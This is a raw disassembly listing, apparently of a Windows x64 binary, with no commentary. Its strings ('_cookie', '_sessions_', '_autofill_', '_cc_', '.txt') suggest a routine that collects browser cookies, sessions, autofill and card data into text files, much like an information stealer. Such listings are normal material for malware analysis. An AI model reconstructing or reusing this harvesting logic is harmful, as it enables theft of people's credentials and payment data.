cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x60]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 7]
lea rdx, str._cookie
lea rcx, [rbp - 0x60]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140029b80
nop
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
mov rcx, qword [rbp - 0x40]
mov r8, qword [rcx + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, r8
cmp rax, r10
jb 0x140014617
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140013c72
mov r9, qword [rcx]
mov rax, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x140013c7f
mov rax, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.1400309b0
nop
mov r8d, 1
lea rdx, [0x140286f2c]
lea rcx, [rbp + 0x40]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 8]
lea rdx, str._session
lea rcx, [rbp - 0x80]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140029b80
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
nop
lea rcx, [rbp + 0x40]
call fcn.140029b80
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x20]
call fcn.1400272f0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp - 0x60]
call fcn.1400272f0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x190]
call fcn.14000d5f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x60]
call fcn.1400272f0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x80]
call fcn.1400272f0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1d0]
call fcn.14000dda0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov r8, qword [rbp + 0x18]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1a0]
call fcn.14000e390
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x20]
call fcn.1400272f0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x60]
call fcn.1400272f0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1b0]
call fcn.14000ec10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x60]
call fcn.1400272f0
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp - 0x80]
call fcn.1400272f0
nop
mov r9, qword [rsp + 0x50]
mov r8, rax
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x1c0]
call fcn.14000fb30
nop
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 8
jb 0x140014611
mov r9, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140013f25
mov r9, qword [rcx]
mov qword [rsp + 0x30], 8
lea rax, str._output_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.1400309b0
nop
mov rax, qword [rbp - 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140013f60
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140027070
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea r8d, [rcx + 5]
lea rdx, str._log_
lea rcx, [rbp - 0x60]
call fcn.140027070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140029b80
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x80]
call fcn.14002b570
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14002b730
nop
lea r8, str._autofill_
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.14002b5e0
nop
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp - 0x80]
call fcn.140029b80
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.14002b570
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14002b730
nop
lea r8, str._cc_
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.14002b5e0
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
nop
lea rcx, [rbp - 0x60]
call fcn.140029b80
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x80]
call fcn.14002b570
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14002b730
nop
lea r8, str._cookie_
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.14002b5e0
nop
lea rcx, [rsp + 0x60]
call fcn.140029b80
nop
lea rcx, [rbp - 0x80]
call fcn.140029b80
lea r8, str._output_
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.14002b570
nop
mov r8, qword [rbp - 0x10]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14002b730
nop
lea r8, str._sessions_
mov rdx, rax
lea rcx, [rbp + 0x340]
call fcn.14002b5e0
nop
lea rcx, [rbp + 0x20]
call fcn.140029b80
nop
lea rcx, [rbp - 0x60]
call fcn.140029b80
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xe0]
call fcn.140022c90
mov qword [rsp + 0x50], rax
lea r8, [0x140286f2c]
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x30]
call fcn.14002b570
nop
lea r8, [rbp + 0x150]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002b730
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14002b5e0
nop
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140010b80
nop
lea rcx, [rbp - 0x80]
call fcn.140029b80
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
lea rax, [rbp + 0xd0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xd0]
call fcn.140022c90
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x60]
call fcn.1400272f0
mov qword [rsp + 0x58], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp - 0x30]
call fcn.14002b6c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002b5e0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140010f20
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xc0]
call fcn.140022c90
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x60]
call fcn.1400272f0
mov qword [rsp + 0x58], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x30]
call fcn.14002b6c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002b5e0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.1400112d0
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xf0]
call fcn.140022c90
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x60]
call fcn.1400272f0
mov qword [rsp + 0x58], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x30]
call fcn.14002b6c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002b5e0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140011700
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
lea rax, [rbp + 0x100]
mov qword [rbp - 0x38], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x100]
call fcn.140022c90
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x60]
call fcn.1400272f0
mov qword [rsp + 0x58], rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x30]
call fcn.14002b6c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14002b5e0
nop
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140011d90
nop
lea rcx, [rbp - 0x30]
call fcn.140029b80
nop
lea rcx, [rbp + 0x340]
call fcn.140029b80
nop
lea rcx, [rbp + 0x360]
call fcn.140029b80
nop
lea rcx, [rbp + 0x380]
call fcn.140029b80
nop
lea rcx, [rbp + 0x3a0]
call fcn.140029b80
nop
lea rcx, [rbp + 0x320]
call fcn.140029b80
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000dd50
nop
lea rcx, [rbp + 0x1b0]
call fcn.14000dd50
nop
lea rcx, [rbp + 0x1a0]
call fcn.14000dd50
nop
lea rcx, [rbp + 0x1d0]
call fcn.14000dd50
nop
lea rcx, [rbp + 0x190]
call fcn.14000dd50
nop
lea rcx, [rbp + 0x240]
call fcn.140029b80
nop
lea rcx, [rbp + 0x260]
call fcn.140029b80
nop
lea rcx, [rbp + 0x1e0]
call fcn.140029b80
nop
lea rcx, [rbp + 0x280]
call fcn.140029b80
nop
lea rcx, [rbp + 0x200]
call fcn.140029b80
nop
lea rcx, [rbp + 0x3c0]
call fcn.140029930
nop
lea rcx, [rbp + 0x3e0]
call fcn.140029930
nop
lea rcx, [rbp + 0x170]
call fcn.140029930
nop
lea rcx, [rbp + 0x2a0]
call fcn.140029b80
nop
lea rcx, [rbp + 0x2c0]
call fcn.140029b80
nop
lea rcx, [rbp + 0x2e0]
call fcn.140029b80
nop
lea rcx, [rbp + 0x400]
call fcn.140029b80
nop
lea rcx, [rbp + 0x300]
call fcn.140029b80
nop
lea rcx, [rbp + 0x220]
call fcn.140029930
nop
lea rcx, [rbp + 0x420]
call fcn.140029930
nop
lea rcx, [rbp + 0x150]
call fcn.140029b80
mov rcx, qword [rbp + 0x70]
add rcx, 0x20
mov qword [rbp + 0x70], rcx
cmp rcx, qword [rbp + 0xb8]
jne 0x140012b50
mov rbx, qword [rbp - 0x40]
mov rdi, qword [rbp]
mov rsi, qword [rbp + 0x18]
mov rdx, qword [rbp + 0xa0]
xor r14d, r14d
mov rcx, rdx
call fcn.1400297a0
nop
mov rcx, qword [rbp + 0xa8]
call fcn.140029b80
nop
mov rcx, qword [rbp - 0x10]
call fcn.140029b80
nop
mov rcx, qword [rbp + 0x68]
call fcn.140029930
nop
mov rcx, rdi
call fcn.140029b80
nop
mov rcx, qword [rbp + 0xb0]
call fcn.140029b80
nop
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400145da
mov rdx, qword [rsi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400145ca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001460b
mov rcx, r8
call fcn.1401e7990
mov qword [rsi], r14
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov rcx, rbx
call fcn.140029b80
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.1401e7970
add rsp, 0x558
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140001bd0
nop
call fcn.1401fde58
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
nop
call fcn.140001bd0
int3